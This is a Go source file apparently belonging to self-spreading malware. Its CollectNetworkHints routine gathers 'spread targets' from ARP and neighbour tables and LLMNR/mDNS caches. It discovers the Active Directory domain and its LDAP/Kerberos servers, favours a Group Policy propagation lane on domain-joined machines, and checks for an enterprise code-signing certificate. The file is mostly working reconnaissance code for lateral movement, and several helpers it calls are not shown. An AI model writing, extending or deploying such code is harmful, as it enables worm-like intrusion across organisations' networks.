package deploy import ( "net" "os" "strings" "time" ) const ( // MaxMulticastNameHosts caps passive LLMNR/mDNS cache reads. MaxMulticastNameHosts = 32 ) // NameHost is a hostname/IP pair from passive name caches (LLMNR/mDNS). type NameHost struct { Name string `json:"name"` IP string `json:"ip,omitempty"` } // NetworkHints summarizes passive LAN/domain telemetry for spread targeting. type NetworkHints struct { GeneratedAt string `json:"generated_at"` ArpHosts []string `json:"arp_hosts,omitempty"` NeighborHosts []string `json:"neighbor_hosts,omitempty"` SpreadTargets []string `json:"spread_targets,omitempty"` SpreadTargetCount int `json:"spread_target_count,omitempty"` DomainName string `json:"domain_name,omitempty"` DomainJoined bool `json:"domain_joined,omitempty"` LdapSRV []string `json:"ldap_srv,omitempty"` KerberosSRV []string `json:"kerberos_srv,omitempty"` PreferJoinLane string `json:"prefer_join_lane,omitempty"` EnterpriseCodeSignCert bool `json:"enterprise_code_sign_cert,omitempty"` CodeSignSubject string `json:"code_sign_subject,omitempty"` LLMNRHosts []NameHost `json:"llmnr_hosts,omitempty"` MDNSHosts []NameHost `json:"mdns_hosts,omitempty"` MulticastNameCount int `json:"multicast_name_count,omitempty"` } // CollectNetworkHints runs capped passive recon (ARP/neighbor, DNS SRV, cert, name cache). func CollectNetworkHints(maxHosts int) NetworkHints { if maxHosts <= 0 { maxHosts = 64 } if maxHosts > MaxSubnetScanHosts { maxHosts = MaxSubnetScanHosts } arp := arpHosts() neighbors := neighborHosts() targets := DiscoverLANSpreadTargets(maxHosts) hints := NetworkHints{ GeneratedAt: time.Now().UTC().Format(time.RFC3339), ArpHosts: capStrings(arp, maxHosts), NeighborHosts: capStrings(neighbors, maxHosts), SpreadTargets: targets, SpreadTargetCount: len(targets), } domain := discoverADDomain() hints.DomainName = domain ldap, krb, joined := probeDomainSRV(domain) hints.LdapSRV = ldap hints.KerberosSRV = krb hints.DomainJoined = joined if joined { hints.PreferJoinLane = "gpo" } if present, subject := probeEnterpriseCodeSignCert(); present { hints.EnterpriseCodeSignCert = true hints.CodeSignSubject = subject } llmnr, mdns := probeMulticastNameCache(MaxMulticastNameHosts) hints.LLMNRHosts = llmnr hints.MDNSHosts = mdns hints.MulticastNameCount = len(llmnr) + len(mdns) return hints } func capStrings(in []string, max int) []string { if max <= 0 || len(in) == 0 { return nil } if len(in) > max { in = in[:max] } out := make([]string, len(in)) copy(out, in) return out } func mergeUniqueIPv4(sets ...[]string) []string { seen := make(map[string]bool) var out []string for _, set := range sets { for _, host := range set { host = strings.TrimSpace(host) if host == "" || seen[host] { continue } ip := net.ParseIP(host) if ip == nil || ip.To4() == nil { continue } seen[host] = true out = append(out, ip.To4().String()) } } return out } func discoverADDomain() string { if d := strings.TrimSpace(os.Getenv("USERDNSDOMAIN")); d != "" { return strings.ToLower(d) } return discoverADDomainPlatform() } func probeDomainSRV(domain string) (ldap, kerberos []string, joined bool) { domain = strings.ToLower(strings.TrimSpace(domain)) if domain == "" { return nil, nil, false } ldap = lookupSRVHosts("_ldap._tcp." + domain) kerberos = lookupSRVHosts("_kerberos._tcp." + domain) joined = len(ldap) > 0 || len(kerberos) > 0 return ldap, kerberos, joined } func lookupSRVHosts(name string) []string { _, addrs, err := net.LookupSRV("", "", name) if err != nil || len(addrs) == 0 { return nil } seen := make(map[string]bool) var hosts []string for _, a := range addrs { target := strings.TrimSuffix(strings.TrimSpace(a.Target), ".") if target == "" || seen[target] { continue } seen[target] = true hosts = append(hosts, target) } return hosts }